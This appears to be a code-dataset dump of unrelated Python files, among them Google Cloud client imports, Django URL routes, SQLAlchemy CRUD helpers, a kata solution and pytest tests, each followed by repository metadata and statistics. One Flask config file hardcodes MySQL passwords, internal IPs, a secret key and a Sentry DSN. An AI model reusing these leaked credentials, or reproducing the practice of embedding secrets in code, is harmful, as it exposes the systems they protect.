# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from google.cloud.recommender_v1beta1.services.recommender.client import RecommenderClient from google.cloud.recommender_v1beta1.services.recommender.async_client import RecommenderAsyncClient from google.cloud.recommender_v1beta1.types.insight import Insight from google.cloud.recommender_v1beta1.types.insight import InsightStateInfo from google.cloud.recommender_v1beta1.types.recommendation import CostProjection from google.cloud.recommender_v1beta1.types.recommendation import Impact from google.cloud.recommender_v1beta1.types.recommendation import Operation from google.cloud.recommender_v1beta1.types.recommendation import OperationGroup from google.cloud.recommender_v1beta1.types.recommendation import Recommendation from google.cloud.recommender_v1beta1.types.recommendation import RecommendationContent from google.cloud.recommender_v1beta1.types.recommendation import RecommendationStateInfo from google.cloud.recommender_v1beta1.types.recommendation import ValueMatcher from google.cloud.recommender_v1beta1.types.recommender_service import GetInsightRequest from google.cloud.recommender_v1beta1.types.recommender_service import GetRecommendationRequest from google.cloud.recommender_v1beta1.types.recommender_service import ListInsightsRequest from google.cloud.recommender_v1beta1.types.recommender_service import ListInsightsResponse from google.cloud.recommender_v1beta1.types.recommender_service import ListRecommendationsRequest from google.cloud.recommender_v1beta1.types.recommender_service import ListRecommendationsResponse from google.cloud.recommender_v1beta1.types.recommender_service import MarkInsightAcceptedRequest from google.cloud.recommender_v1beta1.types.recommender_service import MarkRecommendationClaimedRequest from google.cloud.recommender_v1beta1.types.recommender_service import MarkRecommendationFailedRequest from google.cloud.recommender_v1beta1.types.recommender_service import MarkRecommendationSucceededRequest __all__ = ('RecommenderClient', 'RecommenderAsyncClient', 'Insight', 'InsightStateInfo', 'CostProjection', 'Impact', 'Operation', 'OperationGroup', 'Recommendation', 'RecommendationContent', 'RecommendationStateInfo', 'ValueMatcher', 'GetInsightRequest', 'GetRecommendationRequest', 'ListInsightsRequest', 'ListInsightsResponse', 'ListRecommendationsRequest', 'ListRecommendationsResponse', 'MarkInsightAcceptedRequest', 'MarkRecommendationClaimedRequest', 'MarkRecommendationFailedRequest', 'MarkRecommendationSucceededRequest', )
49.6875
105
0.839308
327
3,180
8.04893
0.302752
0.083587
0.12538
0.217325
0.490122
0.490122
0.490122
0.450608
0.235562
0
0
0.018435
0.095912
3,180
63
106
50.47619
0.897043
0.178931
0
0
0
0
0.166089
0.102505
0
0
0
0
0
1
0
false
0
0.488889
0
0.488889
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
ead810e7aa0a5da8afdac88e5f50187918893a93
736
py
Python
crits/ips/urls.py
dutrow/crits
6b357daa5c3060cf622d3a3b0c7b41a9ca69c049
[ "MIT" ]
738
2015-01-02T12:39:55.000Z
2022-03-23T11:05:51.000Z
crits/ips/urls.py
dutrow/crits
6b357daa5c3060cf622d3a3b0c7b41a9ca69c049
[ "MIT" ]
605
2015-01-01T01:03:39.000Z
2021-11-17T18:51:07.000Z
crits/ips/urls.py
dutrow/crits
6b357daa5c3060cf622d3a3b0c7b41a9ca69c049
[ "MIT" ]
316
2015-01-07T12:35:01.000Z
2022-03-30T04:44:30.000Z
from django.conf.urls import url from . import views urlpatterns = [ url(r'^search/$', views.ip_search, name='crits-ips-views-ip_search'), url(r'^search/(?P<ip_str>\S+)/$', views.ip_search, name='crits-ips-views-ip_search'), url(r'^details/(?P<ip>\S+)/$', views.ip_detail, name='crits-ips-views-ip_detail'), url(r'^remove/$', views.remove_ip, name='crits-ips-views-remove_ip'), url(r'^list/$', views.ips_listing, name='crits-ips-views-ips_listing'), url(r'^list/(?P<option>\S+)/$', views.ips_listing, name='crits-ips-views-ips_listing'), url(r'^bulkadd/$', views.bulk_add_ip, name='crits-ips-views-bulk_add_ip'), url(r'^(?P<method>\S+)/$', views.add_update_ip, name='crits-ips-views-add_update_ip'), ]
49.066667
91
0.669837
122
736
3.868852
0.229508
0.067797
0.20339
0.288136
0.533898
0.372881
0.372881
0.372881
0.372881
0.372881
0
0
0.095109
736
14
92
52.571429
0.708709
0
0
0
0
0
0.452446
0.380435
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
eaea8ef5c89fd0ec4d7cbbc57ba9faabf52111af
2,051
py
Python
sql_controller/crud.py
hp5441/chatbottest
da74a2fb58abbb48903336228055884304e3580b
[ "MIT" ]
null
null
null
sql_controller/crud.py
hp5441/chatbottest
da74a2fb58abbb48903336228055884304e3580b
[ "MIT" ]
null
null
null
sql_controller/crud.py
hp5441/chatbottest
da74a2fb58abbb48903336228055884304e3580b
[ "MIT" ]
null
null
null
from pydantic.types import Json import json from sqlalchemy.orm import Session from sqlalchemy import desc from . import models, schemas def get_questions(db: Session, skip: int = 0, limit: int = 100): return db.query(models.Question).offset(skip).all() def get_top_questions(db: Session, limit: int = 5): return db.query(models.Question).order_by(desc(models.Question.popularity)).limit(limit).all() def get_question(db: Session, question_id: int): return db.query(models.Question).filter(models.Question.id==question_id).first() def create_question(db: Session, question: schemas.QuestionCreate): db_question = models.Question(**question.dict()) db.add(db_question) db.commit() db.refresh(db_question) return db_question def get_answers(db: Session, skip: int = 0, limit: int = 100): return db.query(models.Answer).offset(skip).all() def get_answer(db: Session, answer_id:int): return db.query(models.Answer).filter(models.Answer.id==answer_id).first() def create_answer(db: Session, answer: schemas.AnswerCreate, question_id: int): db_answer = models.Answer(answer=answer.answer, question_id=question_id) db.add(db_answer) db.commit() db.refresh(db_answer) return db_answer def delete_question(db: Session, question_id: int): q_list = db.query(models.Question).filter(models.Question.id==question_id).all() for q in q_list: for ans in q.answers: db_ans = delete_answer(db, ans.id) db_question = db.query(models.Question).filter(models.Question.id==question_id).delete(synchronize_session=False) db.commit() return db_question def delete_answer(db: Session, answer_id: int): db_answer = db.query(models.Answer).filter(models.Answer.id==answer_id).delete(synchronize_session=False) db.commit() return db_answer def increment_popularity(db: Session, question_id: int): q_list = db.query(models.Question).filter(models.Question.id==question_id).all() for q in q_list: q.popularity+=1 db.commit()
31.553846
117
0.7255
302
2,051
4.774834
0.172185
0.097087
0.081137
0.087379
0.548544
0.467406
0.396671
0.396671
0.396671
0.334258
0
0.005721
0.147733
2,051
64
118
32.046875
0.819222
0
0
0.295455
0
0
0
0
0
0
0
0
0
1
0.227273
false
0
0.113636
0.113636
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
eaedb119b1aaac0cbb296953345e2a7e95e0dc48
339
py
Python
onadata/apps/fsforms/rceivers.py
awemulya/fieldsight-kobocat
f302d084e30fb637d43ec638c701e01a3dddc721
[ "BSD-2-Clause" ]
38
2017-02-28T05:39:40.000Z
2019-01-16T04:39:04.000Z
onadata/apps/fsforms/rceivers.py
awemulya/fieldsightt
f302d084e30fb637d43ec638c701e01a3dddc721
[ "BSD-2-Clause" ]
20
2017-04-27T09:14:27.000Z
2019-01-17T06:35:52.000Z
onadata/apps/fsforms/rceivers.py
awemulya/fieldsightt
f302d084e30fb637d43ec638c701e01a3dddc721
[ "BSD-2-Clause" ]
5
2017-02-22T12:25:19.000Z
2019-01-15T11:16:40.000Z
# from django.db.models.signals import post_save # from django.dispatch import receiver # from onadata.apps.logger.models import XForm # # from onadata.apps.fsforms.models import FieldSightXF # # # @receiver(post_save, sender=XForm) # def save_to_fieldsight_form(sender, instance, **kwargs): # FieldSightXF.objects.create(xf=instance)
30.818182
58
0.781711
45
339
5.777778
0.577778
0.076923
0.115385
0
0
0
0
0
0
0
0
0
0.109145
339
10
59
33.9
0.860927
0.938053
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
eaf350eaef15875b69577a0cc860781804858973
2,148
py
Python
config/site_setting.py
tiantaozhang/site-basics
e3245aeba689765862d399da8d239f6ad0d8f466
[ "MIT" ]
1
2018-03-12T11:47:32.000Z
2018-03-12T11:47:32.000Z
config/site_setting.py
tiantaozhang/ep_site
e3245aeba689765862d399da8d239f6ad0d8f466
[ "MIT" ]
null
null
null
config/site_setting.py
tiantaozhang/ep_site
e3245aeba689765862d399da8d239f6ad0d8f466
[ "MIT" ]
null
null
null
import os from datetime import timedelta UPLOAD_FOLDER = '' ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif']) MAX_CONTENT_LENGTH = 16 * 1024 * 1024 class Config: ROOT_PATH = os.path.abspath('.') LOG_PATH = ROOT_PATH + '/logs' APP_LOG_FILE = ROOT_PATH + '/logs/admin.log' SECRET_KEY = os.environ.get("SECRET_KEY") or "xd9\x85\x9c\xbc\x19\x9b\xe6ch\xdd\x12\x04F\x87%R5\xb3\xa7\xc2P\x93P\xe2" class DevelopmentConfig(Config): DEBUG = True # 废弃 SSO_SWITCH = False # SSO测试账号 SSO_TEST_ACCOUNT = 'admin@youmi.net' # session lifetime PERMANENT_SESSION_LIFETIME = timedelta(days=1) SESSION_COOKIE_NAME = "auth" SESSION_COOKIE_HTTPONLY = False SQLALCHEMY_DATABASE_URI = "mysql+cymysql://youmi:iloveUMLife123@172.16.1.50/youmi" SQLALCHEMY_BINDS = { # "youmi": SQLALCHEMY_DATABASE_URI, "admin": "mysql+cymysql://youmi:iloveUMLife123@172.16.1.50/youmi_admin", "spot": "mysql+cymysql://youmi:iloveUMLife123@172.16.1.50/youmi_spot", "stat": "mysql+cymysql://youmi:iloveUMLife123@172.16.1.50/youmi_stat", "data": "mysql+cymysql://youmi:iloveUMLife123@172.16.1.50/youmi_data", "rtb_report": "mysql+cymysql://youmi:iloveUMLife123@172.16.1.50/youmi_rtb_report", "rtb": "mysql+cymysql://youmi:iloveUMLife123@172.16.1.50/youmi_rtb" } SQLALCHEMY_TRACK_MODIFICATIONS = True REDSHIFT = "dbname=youmi_stats user=ymserver password=host=youmi-statsdata.cpwyku9ohxzt.cn-north-1.redshift.amazonaws.com.cn port=5439" AUDIENCE_REDSHIFT = "dbname=youmi_analyser user=ymserver password=host=youmi-statsdata.cpwyku9ohxzt.cn-north-1.redshift.amazonaws.com.cn port=5439" SENTRY_DSN = "http://29e17e66e54747d796a76d10d73d13d3:136a2735eba84f65af8461776eb3d197@sentry.awscn.umlife.net/20" RTB_LOG_01 = 'http://censor.y.cn' UPLOAD_FOLDED = '/home/liqifeng/YouMiCode/operate/tmp' class TestingConfig(Config): pass class ProductionConfig(Config): pass config = { "development": DevelopmentConfig, "testing": TestingConfig, "production": ProductionConfig, "default": DevelopmentConfig }
34.095238
151
0.712756
272
2,148
5.470588
0.481618
0.056452
0.079973
0.145833
0.329301
0.329301
0.329301
0.329301
0.329301
0.181452
0
0.092947
0.14851
2,148
63
152
34.095238
0.720612
0.028399
0
0.047619
0
0.071429
0.489198
0.336054
0
0
0
0
0
1
0
false
0.095238
0.047619
0
0.571429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
eaf89a6ffff99ef2e6291f264aa42721610c16ea
153
py
Python
stocks/__init__.py
jianyex/stocks
124ccbda452af2e2bebc76d6ee95997c0d2417f4
[ "BSD-3-Clause" ]
null
null
null
stocks/__init__.py
jianyex/stocks
124ccbda452af2e2bebc76d6ee95997c0d2417f4
[ "BSD-3-Clause" ]
null
null
null
stocks/__init__.py
jianyex/stocks
124ccbda452af2e2bebc76d6ee95997c0d2417f4
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """Top-level package for stocks.""" __author__ = """Jianye Xu""" __email__ = 'jianye.xu.stats@gmail.com' __version__ = '0.1.0'
19.125
39
0.627451
21
153
4
0.857143
0.190476
0
0
0
0
0
0
0
0
0
0.030303
0.137255
153
7
40
21.857143
0.606061
0.339869
0
0
0
0
0.410526
0.263158
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
eaf9b9336a7a5da3543fc406dd64b5100923c1bf
592
py
Python
python/solutions/kyu6_replace_with_alphabet_position.py
StefanAvra/codewars-katas
a2b11453eb6fe28ff56ffdcca956d8b9493dd879
[ "MIT" ]
null
null
null
python/solutions/kyu6_replace_with_alphabet_position.py
StefanAvra/codewars-katas
a2b11453eb6fe28ff56ffdcca956d8b9493dd879
[ "MIT" ]
null
null
null
python/solutions/kyu6_replace_with_alphabet_position.py
StefanAvra/codewars-katas
a2b11453eb6fe28ff56ffdcca956d8b9493dd879
[ "MIT" ]
null
null
null
""" Replace With Alphabet Position Welcome. In this kata you are required to, given a string, replace every letter with its position in the alphabet. If anything in the text isn't a letter, ignore it and don't return it. "a" = 1, "b" = 2, etc. Example alphabet_position("The sunset sets at twelve o' clock.") Should return "20 8 5 19 21 14 19 5 20 19 5 20 19 1 20 20 23 5 12 22 5 15 3 12 15 3 11" (as a string) """ def alphabet_position(text): alphabet = 'abcdefghijklmnopqrstuvwxyz' return ' '.join(str(alphabet.find(char)+1) for char in text.casefold() if char in alphabet)
26.909091
105
0.709459
109
592
3.834862
0.568807
0.114833
0.023923
0.033493
0
0
0
0
0
0
0
0.10148
0.201014
592
21
106
28.190476
0.782241
0.694257
0
0
0
0
0.156977
0.151163
0
0
0
0
0
1
0.333333
false
0
0
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
eafd8eec654916b6469e65277d4f8eb7cf7b961d
1,048
py
Python
api/app/core/config.py
logan-connolly/aita
7782910fd9c5161c7af489a288ee9d52aca91421
[ "MIT" ]
4
2020-10-31T15:57:06.000Z
2022-02-17T02:57:15.000Z
api/app/core/config.py
logan-connolly/aita
7782910fd9c5161c7af489a288ee9d52aca91421
[ "MIT" ]
9
2020-05-06T16:11:45.000Z
2021-12-26T22:58:17.000Z
api/app/core/config.py
logan-connolly/aita
7782910fd9c5161c7af489a288ee9d52aca91421
[ "MIT" ]
1
2021-12-01T11:43:04.000Z
2021-12-01T11:43:04.000Z
from typing import List from pydantic import BaseSettings class ApiConfig(BaseSettings): title: str = "AITA" version: str = "/api/v1" openapi: str = "/api/v1/openapi.json" class PostgresConfig(BaseSettings): user: str password: str host: str db: str class Config: env_prefix = "POSTGRES_" class RedditConfig(BaseSettings): client_id: str client_secret: str password: str username: str class Config: env_prefix = "REDDIT_" class WebSettings(BaseSettings): port: int class Config: env_prefix = "WEB_" class Settings(BaseSettings): api = ApiConfig() pg = PostgresConfig() reddit = RedditConfig() web = WebSettings() DEBUG: bool = True MODEL_PATH: str = "example/path" URI: str = f"postgresql://{pg.user}:{pg.password}@{pg.host}/{pg.db}" BACKEND_CORS_ORIGINS: List[str] = [ "http://localhost", f"http://localhost:{web.port}", ] class Config: case_sensitive = True settings = Settings()
18.068966
72
0.627863
118
1,048
5.474576
0.449153
0.068111
0.065015
0.092879
0.071207
0
0
0
0
0
0
0.002564
0.255725
1,048
57
73
18.385965
0.825641
0
0
0.153846
0
0
0.152672
0.051527
0
0
0
0
0
1
0
false
0.076923
0.051282
0
0.794872
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
d802630c9349918a8c83b164182db24aea187fcd
982
py
Python
tests/test_player_PlayerList.py
basbloemsaat/dartsense
3114a3b73861baf9cf0019a9a2454d7f38e67af1
[ "MIT" ]
null
null
null
tests/test_player_PlayerList.py
basbloemsaat/dartsense
3114a3b73861baf9cf0019a9a2454d7f38e67af1
[ "MIT" ]
5
2018-03-16T09:59:05.000Z
2019-02-10T21:55:03.000Z
tests/test_player_PlayerList.py
basbloemsaat/dartsense
3114a3b73861baf9cf0019a9a2454d7f38e67af1
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import os import pytest import sys sys.path.append(os.path.join(os.path.dirname(__file__), "../lib")) import dartsense.player player_list = None def test_player_list_init(setup_db): player_list = dartsense.player.PlayerList() assert isinstance(player_list, dartsense.player.PlayerList) assert len(player_list) == 5 for player in player_list: assert isinstance(player, dartsense.player.Player) def test_player_list_filter(setup_db): player_list = dartsense.player.PlayerList( filters={'competition': pytest.setup_vars['testleague1_id']} ) assert len(player_list) == 4 def test_player_list_search(setup_db): player_list = dartsense.player.PlayerList( search='player 3' ) assert len(player_list) == 1 player_list = dartsense.player.PlayerList( filters={'competition': pytest.setup_vars['testleague2_id']}, search='player 3' ) assert len(player_list) == 1
22.318182
69
0.707739
126
982
5.269841
0.325397
0.210843
0.143072
0.188253
0.512048
0.512048
0.441265
0.304217
0.204819
0.204819
0
0.01118
0.180244
982
43
70
22.837209
0.813665
0.021385
0
0.259259
0
0
0.075
0
0
0
0
0
0.222222
1
0.111111
false
0
0.148148
0
0.259259
0
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
d80bf67fed1d7c15d54f1dcaa8d2e1e4a8afca9b
220
py
Python
wekaScript.py
sebas1208/sentiment-analizer-bi
188383366373f6d20e04978cb9db520b367bde0a
[ "MIT" ]
null
null
null
wekaScript.py
sebas1208/sentiment-analizer-bi
188383366373f6d20e04978cb9db520b367bde0a
[ "MIT" ]
null
null
null
wekaScript.py
sebas1208/sentiment-analizer-bi
188383366373f6d20e04978cb9db520b367bde0a
[ "MIT" ]
null
null
null
import weka.core.jvm as jvm jvm.start() from weka.core.converters import Loader, Saver loader = Loader(classname="weka.core.converters.ArffLoader") data = loader.load_file("./Listas/train.arff") print data jvm.stop()
20
60
0.763636
33
220
5.060606
0.606061
0.143713
0.215569
0
0
0
0
0
0
0
0
0
0.1
220
11
61
20
0.843434
0
0
0
0
0
0.226244
0.140271
0
0
0
0
0
0
null
null
0
0.285714
null
null
0.142857
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
d81681f0c3e8533953487db033ce07fd94815535
103
py
Python
custom_components/yoosee/const.py
shaonianzhentan/ha_yoosee_camera
63e75b1285c03da75f98264dfbab01280b20f3c0
[ "MIT" ]
null
null
null
custom_components/yoosee/const.py
shaonianzhentan/ha_yoosee_camera
63e75b1285c03da75f98264dfbab01280b20f3c0
[ "MIT" ]
null
null
null
custom_components/yoosee/const.py
shaonianzhentan/ha_yoosee_camera
63e75b1285c03da75f98264dfbab01280b20f3c0
[ "MIT" ]
null
null
null
DOMAIN = "yoosee" PLATFORMS = ["camera"] DEFAULT_NAME = "Yoosee摄像头" VERSION = "1.1" SERVICE_PTZ = 'ptz'
20.6
26
0.68932
13
103
5.307692
0.846154
0
0
0
0
0
0
0
0
0
0
0.022472
0.135922
103
5
27
20.6
0.752809
0
0
0
0
0
0.259615
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
d816ebec6670bc97c3cfcc6d198d67b571f9d900
674
py
Python
backend/model/views.py
princesinghtomar/BTP
44bf84db09637453b1e107bfdd305a47610b81f2
[ "MIT" ]
null
null
null
backend/model/views.py
princesinghtomar/BTP
44bf84db09637453b1e107bfdd305a47610b81f2
[ "MIT" ]
null
null
null
backend/model/views.py
princesinghtomar/BTP
44bf84db09637453b1e107bfdd305a47610b81f2
[ "MIT" ]
null
null
null
from django.shortcuts import render from django.views.decorators.csrf import csrf_exempt from rest_framework.parsers import JSONParser from django.http.response import JsonResponse import base64 from numpy import random # Create your views here. @csrf_exempt def algo(req): if req.method == "POST": data = JSONParser().parse(req) audioData = base64.b64decode(data["audioData"][22:].encode('ascii')) prob = random.uniform(0, 1) if prob > 0.5: return JsonResponse({"output": "Nice!!", "feedback": "This is pos feedback"}) else: return JsonResponse({"output": "Oh No!!", "feedback": "This is neg feedback"})
35.473684
90
0.675074
85
674
5.317647
0.6
0.066372
0.106195
0
0
0
0
0
0
0
0
0.022263
0.200297
674
18
91
37.444444
0.816327
0.034125
0
0
0
0
0.152542
0
0
0
0
0
0
1
0.0625
false
0
0.375
0
0.5625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
d8195b25d16e501245f75d758ee63f9c330bba60
1,994
py
Python
hummingbot/connector/derivative/dydx_perpetual/dydx_perpetual_utils.py
coreydemarse/hummingbot
48dd45b103622b198ca8e833ed9de7d0ad573ed9
[ "Apache-2.0" ]
11
2020-09-15T08:21:59.000Z
2022-03-19T05:06:59.000Z
hummingbot/connector/derivative/dydx_perpetual/dydx_perpetual_utils.py
coreydemarse/hummingbot
48dd45b103622b198ca8e833ed9de7d0ad573ed9
[ "Apache-2.0" ]
null
null
null
hummingbot/connector/derivative/dydx_perpetual/dydx_perpetual_utils.py
coreydemarse/hummingbot
48dd45b103622b198ca8e833ed9de7d0ad573ed9
[ "Apache-2.0" ]
5
2020-09-18T12:59:31.000Z
2021-06-27T01:46:16.000Z
from hummingbot.client.config.config_var import ConfigVar from hummingbot.client.config.config_methods import using_exchange CENTRALIZED = True EXAMPLE_PAIR = "BTC-USD" DEFAULT_FEES = [0.05, 0.2] KEYS = { "dydx_perpetual_api_key": ConfigVar(key="dydx_perpetual_api_key", prompt="Enter your dydx Perpetual API key >>> ", required_if=using_exchange("dydx_perpetual"), is_secure=True, is_connect_key=True), "dydx_perpetual_api_secret": ConfigVar(key="dydx_perpetual_api_secret", prompt="Enter your dydx Perpetual API secret >>> ", required_if=using_exchange("dydx_perpetual"), is_secure=True, is_connect_key=True), "dydx_perpetual_passphrase": ConfigVar(key="dydx_perpetual_passphrase", prompt="Enter your dydx Perpetual API passphrase >>> ", required_if=using_exchange("dydx_perpetual"), is_secure=True, is_connect_key=True), "dydx_perpetual_account_number": ConfigVar(key="dydx_perpetual_account_number", prompt="Enter your dydx Perpetual API account_number >>> ", required_if=using_exchange("dydx_perpetual"), is_secure=True, is_connect_key=True), "dydx_perpetual_stark_private_key": ConfigVar(key="dydx_perpetual_stark_private_key", prompt="Enter your stark private key >>> ", required_if=using_exchange("dydx_perpetual"), is_secure=True, is_connect_key=True), "dydx_perpetual_ethereum_address": ConfigVar(key="dydx_perpetual_ethereum_address", prompt="Enter your ethereum wallet address >>> ", required_if=using_exchange("dydx_perpetual"), is_secure=True, is_connect_key=True), }
38.346154
77
0.605817
209
1,994
5.406699
0.205742
0.253097
0.113274
0.132743
0.669912
0.512389
0.402655
0.402655
0.402655
0.402655
0
0.003613
0.305918
1,994
51
78
39.098039
0.812861
0
0
0.418605
0
0
0.332999
0.164493
0
0
0
0
0
1
0
false
0.069767
0.046512
0
0.046512
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
d81a7d31cbd3b0514e3ad7982c9d385703974bfc
546
py
Python
sodp/reports/migrations/0017_auto_20210728_2110.py
ElHombreMorado8/sodp
e4a05620b633d261b22025af1d488cf767ba2e30
[ "Apache-2.0" ]
null
null
null
sodp/reports/migrations/0017_auto_20210728_2110.py
ElHombreMorado8/sodp
e4a05620b633d261b22025af1d488cf767ba2e30
[ "Apache-2.0" ]
2
2021-07-15T10:13:58.000Z
2022-03-30T14:20:03.000Z
sodp/reports/migrations/0017_auto_20210728_2110.py
ElHombreMorado8/sodp
e4a05620b633d261b22025af1d488cf767ba2e30
[ "Apache-2.0" ]
3
2021-07-03T07:13:48.000Z
2021-08-10T19:28:20.000Z
# Generated by Django 3.1.12 on 2021-07-28 21:10 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('reports', '0016_auto_20210727_2156'), ] operations = [ migrations.AddIndex( model_name='report', index=models.Index(fields=['user'], name='reports_user_index'), ), migrations.AddIndex( model_name='report', index=models.Index(fields=['user', 'project'], name='reports_project_index'), ), ]
24.818182
89
0.600733
58
546
5.5
0.586207
0.112853
0.144201
0.169279
0.369906
0.369906
0.369906
0.369906
0.369906
0.369906
0
0.079801
0.265568
546
21
90
26
0.715711
0.084249
0
0.4
1
0
0.192771
0.088353
0
0
0
0
0
1
0
false
0
0.066667
0
0.266667
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
d82bde8f0fa19324bbaff372f3a7658cbcb864cb
136
py
Python
squarespiral.py
lstoomet/peeterscript
ef60163f6af98f8316c20a5fa55f3507f7ed895b
[ "Unlicense" ]
null
null
null
squarespiral.py
lstoomet/peeterscript
ef60163f6af98f8316c20a5fa55f3507f7ed895b
[ "Unlicense" ]
null
null
null
squarespiral.py
lstoomet/peeterscript
ef60163f6af98f8316c20a5fa55f3507f7ed895b
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python3 import turtle t = turtle.Pen() for x in range(400): t.forward(x) t.left(90) input("press enter to exit")
17
28
0.654412
25
136
3.56
0.84
0
0
0
0
0
0
0
0
0
0
0.054054
0.183824
136
7
29
19.428571
0.747748
0.154412
0
0
0
0
0.166667
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
d836f930db46a6c36122556877e26353c466c74c
1,457
py
Python
memecrypt/utilities.py
Sh3llcod3/memecrypt
d1a7a0e8ebf8ca9c4a055587f7287a9b05aaf9d0
[ "MIT" ]
1
2019-06-22T10:15:11.000Z
2019-06-22T10:15:11.000Z
memecrypt/utilities.py
Sh3llcod3/memecrypt
d1a7a0e8ebf8ca9c4a055587f7287a9b05aaf9d0
[ "MIT" ]
2
2020-06-08T17:44:56.000Z
2020-10-04T00:12:30.000Z
memecrypt/utilities.py
Sh3llcod3/Memecrypt
d1a7a0e8ebf8ca9c4a055587f7287a9b05aaf9d0
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- try: import base64 import binascii import codecs import random except ImportError as import_fail: print(f"Import error: {import_fail}") print("Please install this module.") raise SystemExit(1) class utils(object): def enc_utf(input_str): return input_str.encode("utf-8") def dec_utf(input_str): return input_str.decode("utf-8") def enc_hex(input_str): return utils.dec_utf( binascii.hexlify( utils.enc_utf(input_str) ) ) def dec_hex(input_str): return utils.dec_utf( binascii.hexlify( utils.enc_utf(input_str) ) ) def enc_b64(input_str): return utils.dec_utf( base64.b64encode( utils.enc_utf(input_str) ) ) def dec_b64(input_str): return utils.dec_utf( base64.b64decode( utils.enc_utf(input_str) ) ) def xor_str(input_val1, input_val2): xored_str = str() for i in zip(input_val1, input_val2): xored_str += chr(ord(i[0]) ^ ord(i[1])) return xored_str def rot13(input_str): return codecs.encode(input_str, "rot13") def rand_seed(seed_value): random.seed(seed_value) def rand_choc(input_values): return random.choice(input_values)
22.075758
51
0.569664
183
1,457
4.295082
0.333333
0.142494
0.124682
0.089059
0.445293
0.445293
0.287532
0.251908
0.165394
0.165394
0
0.029774
0.331503
1,457
65
52
22.415385
0.777207
0.029513
0
0.204082
0
0
0.048867
0
0
0
0
0
0
1
0.204082
false
0
0.122449
0.163265
0.530612
0.040816
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
dc2c4dce1a1e4e38ae1c081fcc1c569c6a7af185
687
py
Python
tests/forms/test_dm_boolean_field.py
ramya-chan/digitalmarketplace-utils
63bcdda22d89c19dcdda3844db34a0dbd9a7cb40
[ "MIT" ]
3
2015-07-24T21:23:36.000Z
2020-11-28T03:42:16.000Z
tests/forms/test_dm_boolean_field.py
ramya-chan/digitalmarketplace-utils
63bcdda22d89c19dcdda3844db34a0dbd9a7cb40
[ "MIT" ]
350
2015-05-05T09:24:39.000Z
2021-07-27T15:02:35.000Z
tests/forms/test_dm_boolean_field.py
ramya-chan/digitalmarketplace-utils
63bcdda22d89c19dcdda3844db34a0dbd9a7cb40
[ "MIT" ]
16
2015-06-13T15:37:13.000Z
2021-04-10T18:03:18.000Z
import pytest import wtforms from dmutils.forms.fields import DMBooleanField from dmutils.forms.widgets import DMSelectionButtonBase class BooleanForm(wtforms.Form): field = DMBooleanField() @pytest.fixture def form(): return BooleanForm() def test_value_is_a_list(form): assert isinstance(form.field.value, list) def test_value_is_empty_list_if_there_is_no_selection(form): assert form.field.value == [] def test_can_be_used_with_a_different_kind_of_selection_button(): class BooleanForm(wtforms.Form): field = DMBooleanField(widget=DMSelectionButtonBase(type="boolean")) form = BooleanForm() assert form.field.widget.type == "boolean"
20.818182
76
0.770015
87
